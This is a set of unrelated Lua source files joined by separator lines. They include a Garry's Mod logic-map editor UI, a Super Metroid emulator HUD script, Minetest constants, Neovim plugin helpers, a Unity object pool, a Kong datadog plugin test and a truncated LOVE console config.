self.IGNORECHILD = true
self.LeftPorts = self:Add("Panel")
self.LeftPorts:SetWide(port_size)
self.LeftPorts:Dock(LEFT)
self.RightPorts = self:Add("Panel")
self.RightPorts:Dock(RIGHT)
self.RightPorts:SetWide(port_size)
self.TopPorts = self:Add("Panel")
self.TopPorts:Dock(TOP)
self.TopPorts:SetTall(port_size)
self.BottomPorts = self:Add("Panel")
self.BottomPorts:Dock(BOTTOM)
self.BottomPorts:SetTall(port_size)
--self:DockPadding(port_size,port_size,port_size,port_size) -- The boundaries for logic ports
self.ChipCanvas = self:Add("Panel")
self.ChipCanvas:Dock(FILL)
self.ChipCanvas:SetMouseInputEnabled(false)
self.SettingsButton = vgui.Create("DImageButton", self.RightPorts)
self.SettingsButton:SetImage("icon16/cog.png")
self.SettingsButton:SetSize(port_size, port_size)
self.SettingsButton:Dock(TOP)
self.SettingsButton:SetZPos(100)
self.SettingsButton.DoClick = function() self:OpenSettings() end
self.EntityIcon = vgui.Create("DImage", self.TopPorts)
self.EntityIcon:SetImage("icon16/bricks.png")
self.EntityIcon:SetSize(port_size, port_size)
self.EntityIcon:Dock(RIGHT)
self.EntityIcon:SetZPos(100)
self.EntityIcon:SetVisible(false)
self.IGNORECHILD = nil
self.m_tOutputPorts = {}
self.m_tInputPorts = {}
end
function PANEL:AddNonCanvas(p)
self.IGNORECHILD = true
local n = self:Add(p)
self.IGNORECHILD = nil
return n
end
function PANEL:OnChildAdded(p)
if not self.IGNORECHILD then
p:SetParent(self.ChipCanvas)
p:SetDragParent(self)
end
end
function PANEL:SetLogicUnit(unit)
local chip = unit.nzu_Logic or unit
if chip.CustomPanel then
self:Clear()
chip.CustomPanel(unit, self)
else
if not self.Icon then self.Icon = self:Add("DImage") end
self.Icon:SetImage(chip.Icon)
--self.Icon:Dock(FILL)
--self.Icon:DockMargin(10,10,10,10)
self.Icon:SetKeepAspect(true)
end
self.m_lUnit = unit
-- Update the ports
for k,v in pairs(self.m_tOutputPorts) do if IsValid(v.Panel) then v.Panel:Remove() end end
for k,v in pairs(self.m_tInputPorts) do if IsValid(v.Panel) then v.Panel:Remove() end end
self.m_tOutputPorts = {}
self.m_tInputPorts = {}
local outputs = unit:GetLogicOutputs()
if outputs then
for k,v in pairs(outputs) do
if v.Port then
self.m_tOutputPorts[k] = {Side = v.Port.Side, Pos = v.Port.Pos}
end
end
end
local inputs = unit:GetLogicInputs()
if inputs then
for k,v in pairs(inputs) do
if v.Port then
self.m_tInputPorts[k] = {Side = v.Port.Side, Pos = v.Port.Pos}
end
end
end
self:UpdatePorts()
end
function PANEL:OpenSettings()
if not IsValid(self.SettingsFrame) then
self.SettingsFrame = vgui.Create("DFrame", self:GetParent())
self.SettingsFrame:SetTitle(tostring(self.m_lUnit))
local settings = self.SettingsFrame:Add("DLogicMapSettingsPanel")
settings:SetUnit(self.m_lUnit)
settings:Dock(FILL)
self.SettingsFrame:SetDeleteOnClose(true)
self.SettingsFrame:SetZPos(200)
self.SettingsFrame:SetSize(300,500)
self.SettingsPanel = settings
end
self.SettingsFrame:SetVisible(true)
local x,y = self:GetPos()
self.SettingsFrame:SetPos(x,y)
end
function PANEL:PerformLayout()
if IsValid(self.Icon) then
local x,y = self.ChipCanvas:GetSize()
local min = math.Min(x,y)
self.Icon:SetSize(min,min)
self.Icon:SetPos(x/2 - min/2, y/2 - min/2)
end
end
function PANEL:OnRemove()
if IsValid(self.SettingsFrame) then self.SettingsFrame:Remove() end
end
function PANEL:Think()
if IsValid(self.m_bThinkPosition) then
local pos = self.m_lUnit:GetPos()
self.m_bThinkPosition:SetChildPos(self, pos.x, pos.y)
end
end
local postypes = {
[LEFT] = function(s,p,x) p:SetParent(s.LeftPorts) p:SetPos(0,x) end,
[RIGHT] = function(s,p,x) p:SetParent(s.RightPorts) p:SetPos(0,x) end,
[TOP] = function(s,p,x) p:SetParent(s.TopPorts) p:SetPos(x,0) end,
[BOTTOM] = function(s,p,x) p:SetParent(s.BottomPorts) p:SetPos(x,0) end,
}
local function doport(self, name, inout, side, pos)
local port
if inout then
if not self.m_tInputPorts[name] then self.m_tInputPorts[name] = {} end
port = self.m_tInputPorts[name]
else
if not self.m_tOutputPorts[name] then self.m_tOutputPorts[name] = {} end
port = self.m_tOutputPorts[name]
end
local panel = port and port.Panel or vgui.Create(inout and "DLogicMapUnitInput" or "DLogicMapUnitOutput")
panel.m_lUnit = self.m_lUnit
panel.m_sPort = name
postypes[side](self, panel, pos)
--panel:SetPortSide(side)
--[[local name = self:AddNonCanvas("DLabel")
name:SetText(name)
name:SetVisible(false)
name:DisableClipping(true)]]
port.Side = side
port.Pos = pos
port.Connections = port.Connections or {}
port.Panel = panel
end
function PANEL:UpdatePorts()
if self:GetShowPorts() then
for k,v in pairs(self.m_tInputPorts) do
doport(self, k, true, v.Side, v.Pos)
end
for k,v in pairs(self.m_tOutputPorts) do
doport(self, k, false, v.Side, v.Pos)
end
else
for k,v in pairs(self.m_tInputPorts) do if IsValid(v.Panel) then v.Panel:Remove() end end
for k,v in pairs(self.m_tOutputPorts) do if IsValid(v.Panel) then v.Panel:Remove() end end
end
self.SettingsButton:SetVisible(self:GetShowPorts())
end
function PANEL:AddOutputPort(name, side, pos)
doport(self, name, false, side, pos)
end
function PANEL:AddInputPort(name, side, pos)
doport(self, name, true, side, pos)
end
function PANEL:OnDropIntoMap(x,y)
-- Override me!
end
derma.DefineControl("DLogicMapUnit", "", PANEL, "DPanel")
local logicmapchips = {}
local logicmapconnections = {}
local MAP = {}
local ssheet = baseclass.Get("DScrollSheet")
local playermat = Material("icon16/arrow_right.png") -- Change this
function MAP:Init()
ssheet.Init(self)
self:MakeDroppable("nzu_logicmap")
--[[self.Canvas.PaintOver = function(s,x,y)
if drawwiremouse then
surface.SetDrawColor(0,0,0)
local mx,my = s:LocalCursorPos()
surface.DrawLine(unpack(drawwiremouse), mx,my)
end
end]]
end
function MAP:Paint(x,y)
local ply = LocalPlayer()
local pos = ply:GetPos()
local x,y = self:GetAbsoluteFramePosition(pos.x,pos.y)
surface.SetMaterial(playermat)
surface.SetDrawColor(255,255,255)
surface.DrawTexturedRectRotated(x-25,y-25,50,50,ply:GetAngles()[2])
end
derma.DefineControl("DLogicMap", "", MAP, "DScrollSheet")
local logicmap
local addunittomap
local function addconnection(unit, outp, cid, c, chip)
local outputport = chip.m_tOutputPorts[outp]
if outputport then
if outputport.Connections[cid] then return end -- It already exists. Maybe update?
local target = c.Target
if not IsValid(target) then return elseif not logicmapchips[target:LogicIndex()] then addunittomap(target) end
local inputport = logicmapchips[target:LogicIndex()].m_tInputPorts[c.Input]
if inputport then
local p = vgui.Create("DLogicMapUnitConnection", logicmap)
p:SetPorts(outputport, inputport)
p:SetConnection(c)
end
end
end
addunittomap = function(unit)
if IsValid(logicmapchips[unit:LogicIndex()]) then return end
if IsValid(logicmap) then
print(unit:LogicIndex())
local chip = vgui.Create("DLogicMapUnit", logicmap)
chip:SetShowPorts(true)
chip:SetLogicUnit(unit)
chip:SetSize(50,50)
local pos = unit:GetPos()
logicmap:SetChildPos(chip, pos.x,pos.y)
if type(unit) == "Entity" then
chip.m_bThinkPosition = logicmap
chip.EntityIcon:SetVisible(true)
else
chip:Droppable("nzu_logicmap")
chip.OnDropIntoMap = function(x,y)
net.Start("nzu_logicmap_move")
net.WriteUInt(unit:LogicIndex(), 16)
net.WriteVector(Vector(x,y,0))
net.SendToServer()
end
end
logicmapchips[unit:LogicIndex()] = chip
for k,v in pairs(unit:GetLogicOutputConnections()) do
for k2,v2 in pairs(v) do
addconnection(unit, k, k2, v2, chip)
end
end
end
end
nzu.AddSpawnmenuTab("Logic Map", "DPanel", function(panel)
--panel:SetSkin("nZombies Unlimited")
panel:SetBackgroundColor(Color(100,100,100))
local toolbarwidth = 150
local sidebar = panel:Add("DCategoryList")
sidebar:SetWide(toolbarwidth)
sidebar:Dock(RIGHT)
function sidebar:ReloadLogicUnits()
sidebar:Clear()
local cats = {}
for k,v in pairs(nzu.GetLogicUnitList()) do
if v.Spawnable then
local cat = v.Category or "Uncategorized"
if not cats[cat] then cats[cat] = {} end
cats[cat][k] = v
end
end
for k,v in pairs(cats) do
local c = sidebar:Add(k)
for k2,v2 in pairs(v) do
local pnl = vgui.Create("DPanel", c)
pnl:SetSize(140,75)
pnl:DockMargin(5,5,5,5)
pnl:Dock(TOP)
local name = pnl:Add("DLabel")
name:SetText(v2.Name)
name:Dock(BOTTOM)
name:SetTextColor(color_black)
name:SetContentAlignment(5)
local icon = pnl:Add("DLogicMapUnit")
icon:SetLogicUnit(v2)
icon:SetSize(50,50)
icon:SetPos(42.5,5)
icon:Droppable("nzu_logicmap")
icon.OnDropIntoMap = function(s,x,y)
net.Start("nzu_logicmap_create")
net.WriteString(k2)
net.WriteVector(Vector(x,y,0))
net.SendToServer()
return true -- Don't drop into map
end
c:UpdateAltLines()
end
end
end
sidebar:ReloadLogicUnits()
local map = panel:Add("DLogicMap")
map:Dock(FILL)
map:SetBackgroundColor(Color(100,100,100))
local mapcontrol = panel:Add("DPanel")
mapcontrol:SetTall(50)
mapcontrol:DockPadding(5,5,5,5)
local snaptoply = mapcontrol:Add("DButton")
snaptoply:SetWide(40)
snaptoply:Dock(RIGHT)
snaptoply:SetText("Snap")
snaptoply.DoClick = function(s)
local p = LocalPlayer():GetPos()
map:SnapTo(p.x,p.y)
end
panel.PerformLayout = function(s)
local w,w2 = s:GetWide(), mapcontrol:GetWide()
mapcontrol:SetPos(w - toolbarwidth - w2, 0)
end
logicmap = map
for k,v in pairs(nzu.GetAllLogicUnits()) do
addunittomap(v)
end
end, "icon16/arrow_switch.png", "Create and connect Config Logic")
hook.Add("nzu_LogicUnitCreated", "nzu_LogicMapCreate", addunittomap)
hook.Add("nzu_LogicUnitConnected", "nzu_LogicMapConnected", function(u, outp, cid, c)
local chip = logicmapchips[u:LogicIndex()]
if not chip then addunittomap(u) end
addconnection(u, outp, cid, c, chip)
end)
hook.Add("nzu_LogicUnitSettingChanged", "nzu_LogicMapSetting", function(u, setting, val)
local chip = logicmapchips[u:LogicIndex()]
if chip and chip.SettingsPanel then
local p = chip.SettingsPanel.Settings[setting]
p:_SetValue(val)
end
end)
hook.Add("nzu_LogicEntityCreated", "nzu_LogicMapCreate", addunittomap)
local function removeunit(unit)
if logicmapchips[unit:LogicIndex()] then logicmapchips[unit:LogicIndex()]:Remove() end
end
hook.Add("nzu_LogicUnitRemoved", "nzu_LogicMapRemove", removeunit)
hook.Add("nzu_LogicEntityRemoved", "nzu_LogicMapRemove", removeunit)
|
--Author Pasky13, GinoMan2440
--Text scaler - Written by Pasky13
local xs
local ys
local function scaler()
xs = client.screenwidth() / 256
ys = client.screenwidth() / 224
end
-- stats vars
local positionX = 0
local positionY = 849 --vs 896 in windowed (4x) or 1080 in fullscreen
local color = 0xAA00FF0F
local bgcolor = 0xAA000000
-- Time to get object oriented.
BottomPanel = {
width = 0,
height = 0,
hOffset = 0,
vOffset = 0,
lHeight = 15,
charWidth = 5,
hasBorder = false,
hasBackground = false,
panelText = {}
}
function BottomPanel:new ()
o = {}
o = setmetatable(o, BottomPanel)
self.__index = self
self.panelText = {}
-- self.panelText = {}
return o
end
function BottomPanel:addLine(LineString)
table.insert(self.panelText, LineString)
end
function BottomPanel:calculateBottomRect()
local screenHeight = client.screenheight()
local screenWidth = client.screenwidth()
local boxHeight = 0
local gameWidth = 0
local biggestWidth = 0
local width = 0
-- calculate the game window size based on height
-- trying it with 8:7
gameWidth = (screenHeight * 8) / 7
gameWidth = math.ceil(gameWidth)
-- the renderer needs to account for this when rendering the panelText.
if self.hasBorder then
boxHeight = boxHeight + 4
width = width + 4
end
boxHeight = boxHeight + (((table.maxn(self.panelText) + 1) * self.lHeight) + 2)
self.height = boxHeight - 2
for key,value in ipairs(self.panelText)
do
if string.len(value) > biggestWidth then biggestWidth = string.len(value) end
end
width = width + (biggestWidth * self.charWidth)
self.width = width
vOffset = screenHeight - boxHeight
hOffset = (screenWidth - gameWidth) / 2
hOffset = hOffset - 73
-- positionY = vOffset
-- positionY = hOffset
self.vOffset = vOffset
self.hOffset = hOffset
return vOffset, hOffset
end
function BottomPanel:render()
self:calculateBottomRect()
if self.hasBackground then
gui.drawBox(self.hOffset, self.vOffset, self.hOffset + self.width, self.vOffset + self.height, 0xFF000000, 0xFF000000)
end
if self.hasBorder then
gui.drawBox(self.hOffset, self.vOffset, self.hOffset + self.width, self.vOffset + self.height, color)
self.width = self.width - 4
self.height = self.height - 4
self.hOffset = self.hOffset + 4
self.vOffset = self.vOffset + 4
end
for key,value in ipairs(self.panelText)
do
gui.text(self.hOffset, self.vOffset + (key * self.lHeight), value, color, bgcolor)
end
end
local function showStats()
local totalFrames = mainmemory.read_u8(0x1842) -- Total frames in the whole run.
local igtMin = mainmemory.readbyte(0x09DE) -- Current Minutes. For hours, divide by 60 and modulo by 60
local igtSec = mainmemory.readbyte(0x09DC) -- Current Seconds
local igtHour = mainmemory.readbyte(0x09E0) -- Current Hours
local igtFrame = mainmemory.readbyte(0x09DA) -- Current Frame in each second.
local gameState = mainmemory.readbyte(0x0998) -- game state.
-- 1 = intro
-- 4 = Data Select Screen
-- 2 = Option Mode
-- 5 = world map
-- 6 = gameplay
-- 3 = ?
-- 30 = Last Metroid...
-- 31 = brief period between intro and station
-- 8 = ceres station
if totalFrames == 0 or gameState < 6 then
igtMin = 0
igtSec = 0
igtFrame = 0
end
-- igtHour = igtMin / 60;
-- igtMin = igtMin % 60;
displayFrames = string.format("Total: %08u", totalFrames)
displayTime = string.format("GTime: %02u:%02u:%02u:%02u", igtHour, igtMin, igtSec, igtFrame)
displayState = string.format("State: %u", gameState)
local Renderer = BottomPanel:new()
Renderer:addLine(displayState)
Renderer:addLine(displayFrames)
Renderer:addLine(displayTime)
Renderer:render()
-- gui.opacity(opacity);
-- gui.text(positionX, positionY, displayState, color, bgcolor);
-- gui.text(positionX, positionY + lineSpacing, displayFrames, color, bgcolor);
-- gui.text(positionX, positionY + (2 * lineSpacing), displayTime, color, bgcolor)
end
local Items = {
maxEnergy = 0,
curMissiles = 0,
maxMissiles = 0,
curSuperMissiles = 0,
maxSuperMissiles = 0,
curPowerBombs = 0,
maxPowerBombs = 0,
curReserveTank = 0,
maxReserveTank = 0,
itemsCollected = 0,
beamByte = 0,
itemByte = 0,
chargeBeamByte = 0,
chargeBeam = false,
iceBeam = false,
waveBeam = false,
spazerBeam = false,
plasmaBeam = false,
variaSuit = false,
gravitySuit = false,
morphBall = false,
bombs = false,
springBall = false,
screwAttack = false,
highJumpBoots = false,
spaceJumpBoots = false,
speedBoosters = false,
grappleBeam = false,
xRayScope = false
}
local function updateQuantities()
Items.maxEnergy = mainmemory.read_u16_le(0x09C4)
Items.curMissiles = mainmemory.read_u16_le(0x09C6)
Items.maxMissiles = mainmemory.read_u16_le(0x09C8)
Items.curSuperMissiles = mainmemory.read_u16_le(0x09CA)
Items.maxSuperMissiles = mainmemory.read_u16_le(0x09CC)
Items.curPowerBombs = mainmemory.read_u16_le(0x09CE)
Items.maxPowerBombs = mainmemory.read_u16_le(0x09D0)
Items.curReserveTank = mainmemory.read_u16_le(0x09D6)
Items.maxReserveTank = mainmemory.read_u16_le(0x09D4)
end
local function updateItems()
Items.itemByte = mainmemory.read_u16_le(0x09A4) -- Collected Items
Items.beamByte = mainmemory.readbyte(0x09A8) -- Collected Beams
Items.chargeBeamByte = mainmemory.readbyte(0x09A9) -- Charge Beams
local items = Items.itemByte
local beams = Items.beamByte
-- XY>* %^ G ZoNV
-- 1111 0001 0010 0101
-- C PSIW
-- 0001 0000 0000 1111
-- Item Code Mask
-- Charge Beam: C & 0x10 - to charge byte
-- Ice Beam: I & 0x02 - to beam byte
-- Wave Beam: W & 0x01
-- Spazer Beam: S & 0x04
-- Plasma Beam: P & 0x08
-- Varia Suit: V & 0x0001
-- Gravity Suit: G & 0x0020
-- Morph Ball: o & 0x0004
-- Bombs: * & 0x1000
-- Spring Ball: N & 0x0002
-- Screw Attack: Z & 0x0008
-- High Jump Boots: ^ & 0x0100
-- Space Jump Boots: % & 0x0200
-- Speed Boosters: > & 0x2000
-- Grapple Beam: Y & 0x4000
-- XRay Scope: X & 0x8000
Items.chargeBeam = bit.check(Items.chargeBeamByte, 4)
Items.iceBeam = bit.check(beams, 1)
Items.waveBeam = bit.check(beams, 0)
Items.spazerBeam = bit.check(beams, 2)
Items.plasmaBeam = bit.check(beams, 3)
Items.variaSuit = bit.check(items, 0)
Items.gravitySuit = bit.check(items, 5)
Items.morphBall = bit.check(items, 2)
Items.bombs = bit.check(items, 12)
Items.springBall = bit.check(items, 1)
Items.screwAttack = bit.check(items, 3)
Items.highJumpBoots = bit.check(items, 8)
Items.spaceJumpBoots = bit.check(items, 9)
Items.speedBoosters = bit.check(items, 13)
Items.grappleBeam = bit.check(items, 14)
Items.xRayScope = bit.check(items, 15)
end
local function showMax()
local missileLocationX = 78
local iconBarY = 22
local boxWidth = 75
local boxHeight = 8
local textColor = 0xFFFFFFFF
local textBGColor = 0xAA293A8C
local gameState = mainmemory.readbyte(0x0998) -- game state.
updateQuantities()
missileString = string.format("%03u/%03u", Items.curMissiles, Items.maxMissiles)
superString = string.format("%02u/%02u", Items.curSuperMissiles, Items.maxSuperMissiles)
powerString = string.format("%02u/%02u", Items.curPowerBombs, Items.maxPowerBombs)
reserveString = string.format("Reserve: %03u/%03u", Items.curReserveTank, Items.maxReserveTank)
if (gameState >= 6) and (gameState ~= 30) and (gameState ~= 34) then
gui.drawRectangle(missileLocationX, iconBarY, boxWidth, boxHeight, 0x00000000, 0xFF000000)
if Items.maxMissiles > 0 then
gui.pixelText(missileLocationX, iconBarY + 2, missileString, textColor, textBGColor) --
end
if Items.maxSuperMissiles > 0 then
gui.pixelText(missileLocationX + 32, iconBarY + 2, superString, textColor, textBGColor)
end
if Items.maxPowerBombs > 0 then
gui.pixelText(missileLocationX + 56, iconBarY + 2, powerString, textColor, textBGColor)
end
if Items.maxReserveTank > 0 then
gui.pixelText(8, 31, reserveString, textColor)
end
end
end
local iIcons = {
Collected = "",
NotCollected = ""
}
local function calculateCollectionRate()
updateItems()
updateQuantities()
local gameState = mainmemory.readbyte(0x0998) -- game state.
missiles = Items.maxMissiles / 5
superMissiles = Items.maxSuperMissiles / 5
powerBombs = Items.maxPowerBombs / 5
energy = (Items.maxEnergy - 99) / 100
reserve = Items.maxReserveTank / 100
items = 0
items = items + (Items.chargeBeam and 1 or 0)
items = items + (Items.iceBeam and 1 or 0)
items = items + (Items.waveBeam and 1 or 0)
items = items + (Items.spazerBeam and 1 or 0)
items = items + (Items.plasmaBeam and 1 or 0)
items = items + (Items.variaSuit and 1 or 0)
items = items + (Items.gravitySuit and 1 or 0)
items = items + (Items.morphBall and 1 or 0)
items = items + (Items.bombs and 1 or 0)
items = items + (Items.springBall and 1 or 0)
items = items + (Items.screwAttack and 1 or 0)
items = items + (Items.highJumpBoots and 1 or 0)
items = items + (Items.spaceJumpBoots and 1 or 0)
items = items + (Items.speedBoosters and 1 or 0)
items = items + (Items.grappleBeam and 1 or 0)
items = items + (Items.xRayScope and 1 or 0)
Items.itemsCollected = missiles + superMissiles + powerBombs + energy + reserve + items
-- debug start at 8 x 40, then go down 8 for each line
end
local function showCollectionRate()
updateItems()
local gameState = mainmemory.readbyte(0x0998) -- game state.
-- Put x/100 on the screen in the corner under Grapple Beam and XRay Scope
if (gameState >= 6) and (gameState ~= 30) and (gameState ~= 34) then
-- local itemsCollected = string.format("0x%04X", Items.itemsCollected)
-- local beamsCollected = string.format("0x%02X%02X", Items.chargeBeam, Items.beamsCollected)
-- the x and y are almost perfect for the string Items: 000%
-- gui.pixelText(78 + 80, 24, itemsCollected, 0xFFFFFFFF, 0xAA293A8C)
-- this y is perfect for the item icons, but the x should be the same as missile alignment
-- gui.pixelText(78 + 80, 30, beamsCollected, 0xFFFFFFFF)
calculateCollectionRate()
local collectionString = string.format("items:%03u%%", Items.itemsCollected)
gui.pixelText(78 + 82, 24, collectionString, 0xFFFFFFFF, 0xAA293A8C)
end
end
local function showItems()
updateItems()
-- put item icons on screen right below top bar
local gameState = mainmemory.readbyte(0x0998) -- game state.
if (gameState >= 6) and (gameState ~= 30) and (gameState ~= 34) then
local itemsBarX = 85
local itemsBarY = 31
local stringTemplate = "CIWSP VG o*NZ ^%> Y X"
local itemTable = {}
itemTable["C"] = Items.chargeBeam
itemTable["I"] = Items.iceBeam
itemTable["W"] = Items.waveBeam
itemTable["S"] = Items.spazerBeam
itemTable["P"] = Items.plasmaBeam
itemTable["V"] = Items.variaSuit
itemTable["G"] = Items.gravitySuit
itemTable["o"] = Items.morphBall
itemTable["*"] = Items.bombs
itemTable["N"] = Items.springBall
itemTable["Z"] = Items.screwAttack
itemTable["^"] = Items.highJumpBoots
itemTable["%"] = Items.spaceJumpBoots
itemTable[">"] = Items.speedBoosters
itemTable["Y"] = Items.grappleBeam
itemTable["X"] = Items.xRayScope
local position = itemsBarX
local charWidth = 4
local gray = 0xFF999999
local green = 0xFF00FF00
local background = 0xBB000000
local transparency = 0x00000000
local barWidth = 0
gui.drawRectangle(position -2, itemsBarY - 1, charWidth * string.len(stringTemplate) + 4, 9, transparency, background)
for i = 1, string.len(stringTemplate) do
local key = string.sub(stringTemplate, i, i)
if itemTable[key] ~= " " then
-- All of the drawing code should go here
if itemTable[key] then
gui.pixelText(position, itemsBarY, key, green, transparency)
else
gui.pixelText(position, itemsBarY, key, gray, transparency)
end
end
position = position + charWidth
barWidth = barWidth + charWidth
end
-- gui.pixelText(itemsBarX, itemsBarY, iIcons.NotCollected, 0xFF999999, 0xBB000000)
-- gui.pixelText(itemsBarX, itemsBarY, iIcons.Collected, 0xFF00FF00, 0x00000000)
ends
end
while true do
scaler()
showStats()
showMax()
showCollectionRate()
showItems()
emu.frameadvance()
end
|
-- Minetest: builtin/constants.lua
--
-- Constants values for use with the Lua API
--
-- Built-in Content IDs (for use with VoxelManip API)
core.CONTENT_UNKNOWN = 125
core.CONTENT_AIR = 126
core.CONTENT_IGNORE = 127
-- Block emerge status constants (for use with core.emerge_area)
core.EMERGE_CANCELLED = 0
core.EMERGE_ERRORED = 1
core.EMERGE_FROM_MEMORY = 2
core.EMERGE_FROM_DISK = 3
core.EMERGE_GENERATED = 4
|
local ts_locals = require("nvim-treesitter.locals")
local ts_utils = require("nvim-treesitter.ts_utils")
local M = {}
M.get_node_at_cursor = function(win)
return ts_utils.get_node_at_cursor(win)
end
M.find_definition = function(node, bufnr)
return ts_locals.find_definition(node, bufnr)
end
M.find_references = function(node, scope, bufnr, definition)
if not definition then
definition = M.find_definition(node, bufnr)
end
local references = {}
for _, ref in ipairs(ts_locals.find_usages(node, scope, bufnr)) do
if ref ~= definition then
table.insert(references, ref)
end
end
return references
end
M.get_node_text = function(node, bufnr, sep)
sep = sep or " "
return table.concat(ts_utils.get_node_text(node, bufnr), sep)
end
return M
|
slot0 = require("Mgr/Pool/PoolUtil")
slot1 = class("PoolPlural")
slot2 = "UnityEngine.GameObject"
slot1.Ctor = function (slot0, slot1, slot2)
if not getmetatable(slot1) or slot3[".name"] ~= slot0 then
warning("Poolplural should use gameobject as prefab not transform " .. ((slot1 and slot1.name) or "NIL"))
end
slot0.prefab = slot1
slot0.capacity = slot2
slot0.index = 0
slot0.items = {}
slot0.balance = 0
end
slot1.Enqueue = function (slot0, slot1, slot2)
slot0.balance = slot0.balance - 1
if slot2 or slot0.capacity <= #slot0.items then
slot0.Destroy(slot1)
return true
else
table.insert(slot0.items, slot1)
return false
end
end
slot1.Dequeue = function (slot0)
slot0.balance = slot0.balance + 1
slot1 = nil
while IsNil(slot1) and #slot0.items > 0 do
slot1 = table.remove(slot0.items)
end
if IsNil(slot1) then
slot1 = slot0:NewItem()
end
return slot1
end
slot1.NewItem = function (slot0)
return Object.Instantiate(slot0.prefab)
end
slot1.AllReturned = function (slot0)
return slot0.balance == 0
end
slot1.ClearPrefab = function (slot0, slot1)
slot0.Destroy(slot0.prefab, slot1)
slot0.prefab = nil
end
slot1.ClearItems = function (slot0, slot1)
for slot5 = 1, #slot0.items, 1 do
slot0.Destroy(slot0.items[slot5], slot1)
end
table.clear(slot0.items)
slot0.balance = 0
end
slot1.Clear = function (slot0, slot1)
slot0:ClearPrefab(slot1)
slot0:ClearItems(slot1)
end
return slot1
|
local helpers = require "spec.helpers"
local threads = require "llthreads2.ex"
describe("Plugin: datadog (log)", function()
local client
setup(function()
local api1 = assert(helpers.dao.apis:insert {
name = "datadog1_com",
hosts = { "datadog1.com" },
upstream_url = "http://mockbin.com"
})
local api2 = assert(helpers.dao.apis:insert {
name = "datadog2_com",
hosts = { "datadog2.com" },
upstream_url = "http://mockbin.com"
})
local api3 = assert(helpers.dao.apis:insert {
name = "datadog3_com",
hosts = { "datadog3.com" },
upstream_url = "http://mockbin.com"
})
assert(helpers.dao.plugins:insert {
name = "datadog",
api_id = api1.id,
config = {
host = "127.0.0.1",
port = 9999,
tags = {}
}
})
assert(helpers.dao.plugins:insert {
name = "datadog",
api_id = api2.id,
config = {
host = "127.0.0.1",
port = 9999,
metrics = "request_count,status_count",
tags = {}
}
})
assert(helpers.dao.plugins:insert {
name = "datadog",
api_id = api3.id,
config = {
host = "127.0.0.1",
port = 9999,
metrics = "request_count,status_count,latency",
tags = {
request_count = {"T1:V1"},
status_count = {"T2:V2,T3:V3,T4"},
latency = {"T2:V2:V3,T4"},
}
}
})
assert(helpers.start_kong())
client = helpers.proxy_client()
end)
teardown(function()
if client then client:close() end
helpers.stop_kong()
end)
it("logs metrics over UDP", function()
local thread = threads.new({
function()
local socket = require "socket"
local server = assert(socket.udp())
server:settimeout(1)
server:setoption("reuseaddr", true)
server:setsockname("127.0.0.1", 9999)
local gauges = {}
for _ = 1, 6 do
gauges[#gauges+1] = server:receive()
end
server:close()
return gauges
end
})
thread:start()
local res = assert(client:send {
method = "GET",
path = "/status/200",
headers = {
["Host"] = "datadog1.com"
}
})
assert.res_status(200, res)
local ok, gauges = thread:join()
assert.True(ok)
assert.equal(6, #gauges)
assert.contains("kong.datadog1_com.request.count:1|c", gauges)
assert.contains("kong.datadog1_com.latency:%d+|g", gauges, true)
assert.contains("kong.datadog1_com.request.size:%d+|g", gauges, true)
assert.contains("kong.datadog1_com.request.status.200:1|c", gauges)
assert.contains("kong.datadog1_com.response.size:%d+|g", gauges, true)
assert.contains("kong.datadog1_com.upstream_latency:%d+|g", gauges, true)
end)
it("logs only given metrics", function()
local thread = threads.new({
function()
local socket = require "socket"
local server = assert(socket.udp())
server:settimeout(1)
server:setoption("reuseaddr", true)
server:setsockname("127.0.0.1", 9999)
local gauges = {}
for _ = 1, 2 do
gauges[#gauges+1] = server:receive()
end
server:close()
return gauges
end
})
thread:start()
local res = assert(client:send {
method = "GET",
path = "/status/200",
headers = {
["Host"] = "datadog2.com"
}
})
assert.res_status(200, res)
local ok, gauges = thread:join()
assert.True(ok)
assert.equal(2, #gauges)
assert.contains("kong.datadog2_com.request.count:1|c", gauges)
assert.contains("kong.datadog2_com.request.status.200:1|c", gauges)
end)
it("logs metrics with tags", function()
local thread = threads.new({
function()
local socket = require "socket"
local server = assert(socket.udp())
server:settimeout(1)
server:setoption("reuseaddr", true)
server:setsockname("127.0.0.1", 9999)
local gauges = {}
for _ = 1, 3 do
gauges[#gauges+1] = server:receive()
end
server:close()
return gauges
end
})
thread:start()
local res = assert(client:send {
method = "GET",
path = "/status/200",
headers = {
["Host"] = "datadog3.com"
}
})
assert.res_status(200, res)
local ok, gauges = thread:join()
assert.True(ok)
assert.equal(3, #gauges)
assert.contains("kong.datadog3_com.request.count:1|c|#T1:V1", gauges)
assert.contains("kong.datadog3_com.request.status.200:1|c|#T2:V2,T3:V3,T4", gauges)
assert.contains("kong.datadog3_com.latency:%d+|g|#T2:V2:V3,T4", gauges, true)
end)
end)
|
local create = vim.api.nvim_create_augroup
local define = vim.api.nvim_create_autocmd
local M = {}
create("octo_autocmds", { clear = true })
create("octobuffer_autocmds", { clear = false })
function M.setup()
define({ "BufEnter" }, {
group = "octo_autocmds",
pattern = { "octo://*" },
callback = function()
require("octo").configure_octo_buffer()
end,
})
define({ "BufReadCmd" }, {
group = "octo_autocmds",
pattern = { "octo://*" },
callback = function()
require("octo").load_buffer()
end,
})
define({ "BufWriteCmd" }, {
group = "octo_autocmds",
pattern = { "octo://*" },
callback = function()
require("octo").save_buffer()
end,
})
define({ "CursorHold" }, {
group = "octo_autocmds",
pattern = { "octo://*" },
callback = function()
require("octo").on_cursor_hold()
end,
})
define({ "CursorHold" }, {
group = "octo_autocmds",
pattern = { "*" },
callback = function()
require("octo.reviews.thread-panel").show_review_threads()
end,
})
define({ "CursorMoved" }, {
group = "octo_autocmds",
pattern = { "*" },
callback = function()
require("octo.reviews.thread-panel").hide_review_threads()
end,
})
define({ "TabClosed" }, {
group = "octo_autocmds",
pattern = { "*" },
callback = function()
require("octo.reviews").close(tonumber(vim.fn.expand "<afile>"))
end,
})
define({ "TabLeave" }, {
group = "octo_autocmds",
pattern = { "*" },
callback = function()
require("octo.reviews").on_tab_leave()
end,
})
define({ "WinLeave" }, {
group = "octo_autocmds",
pattern = { "*" },
callback = function()
require("octo.reviews").on_win_leave()
end,
})
end
function M.octo_buffer(bufnr)
define({ "TextChanged", "TextChangedI" }, {
group = "octobuffer_autocmds",
buffer = bufnr,
callback = function()
require("octo").render_signcolumn()
end,
})
end
return M
|
return function(dna)
return dna:gsub('%a', { C = 'G', G = 'C', A = 'U', T = 'A' })
end
|
assert(love, "love required")
assert(game, "game required")
assert(Vector, "vector required")
assert(Color, "color required")
local console = {
enable = false,
errortrace = false,
openkey = nil,
closekey = nil,
togglekey = "`",
